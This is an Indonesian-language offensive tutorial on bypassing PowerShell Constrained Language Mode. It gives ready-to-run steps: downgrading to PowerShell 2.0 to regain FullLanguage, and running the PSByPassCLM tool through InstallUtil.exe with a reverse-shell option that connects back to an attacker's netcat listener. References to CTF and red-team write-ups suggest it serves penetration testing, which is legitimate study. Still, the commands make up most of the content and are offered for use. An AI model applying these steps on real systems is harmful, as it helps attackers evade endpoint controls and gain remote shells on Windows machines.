Powershell Constrained Language Mode Bypass
PowerShell memiliki beberapa opsi language. Language mode ini memungkinkan user untuk beralih ke di antara sintak yang diizinkan dan tidak. Berikut adalah beberapa mode yang ada:
- FullLanguage (default)
- RestrictedLanguage
- NoLanguage
- ConstrainedLanguage
Kali ini kita akan fokus terhadap ConstrainedLanguage
. Tidak seperti FullLanguage
yang mengizinkan semua syntax dan cmdlet saat runtime, ConstrainedLanguage
memiliki beberapa batasan.
Berikut adalah perintah untuk memeriksa language mode apa yang sedang digunakan:
1
2
PS > $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
Jika ConstrainedLanguage
aktif, kita tidak bisa mendownload melalui PowerShell.
Bypass ConstrainedLanguage
Ada beberapa cara untuk membypass ConstrainedLanguage
, diantaranya:
Cara 1: PowerShell Downgrade
ConstrainedLanguage
dirilis pada PowerShell 3.0. Jika kita dapat melakukan downgrade ke PowerShell 2.0, kita dapat mem-bypass ConstrainedLanguage
.
1
2
3
4
5
6
7
8
9
10
# saat ini masih menggunakan ConstrainedLanguage
PS > $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
# downgrade ke powershell versi 2
PS > powershell -version 2
# cek language mode saat ini
PS > $ExecutionContext.SessionState.LanguageMode
FullLanguage
Cara 2: PSByPassCLM
PSByPassCLM adalah salah satu yang terbaik untuk mem-bypass CLM.
1
2
3
# tahap 1: compile dan upload PsBypassCLM.exe sesuai arsitektur target
# tahap 2: siapkan listener reverse shell pada target
➜ nc -lvnp 443
1
2
# tahap 3: Jalankan PSByPassCLM
PS> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=<listenerIP> /rport=<listenerPort> /U <Path to PsBypassCLM.exe>
Referensi
- https://teamt5.org/en/posts/a-deep-dive-into-powershell-s-constrained-language-mode/
- https://0xdf.gitlab.io/2019/06/01/htb-sizzle.html#clm–applocker-break-out https://sp00ks-git.github.io/posts/CLM-Bypass/
- https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass